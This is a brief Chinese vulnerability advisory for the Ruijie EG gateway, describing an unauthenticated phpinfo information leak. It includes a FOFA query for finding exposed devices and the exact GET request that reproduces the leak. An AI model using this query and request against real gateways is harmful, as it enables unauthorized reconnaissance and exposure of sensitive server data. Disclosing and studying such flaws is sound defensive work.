0x01 产品简介
锐捷EG易网关是一款综合网关产品,集成了先进的软硬件体系构架,并配备了DPI深入分析引擎、行为分析/管理引擎。这款产品能在保证网络出口高效转发的基础上,提供专业的流控功能、出色的URL过滤以及本地化的日志存储/审计服务。
0x02 漏洞概述
锐捷EG易网关 /tool/view/phpinfo.view.php 存在信息泄露漏洞,未授权的攻击者可以通过该漏洞获取大量敏感信息。
0x03 测绘语句
fofa: app="Ruijie-EG易网关" && icon_hash="-692947551"
0x04 漏洞复现
GET /tool/view/phpinfo.view.php HTTP/1.1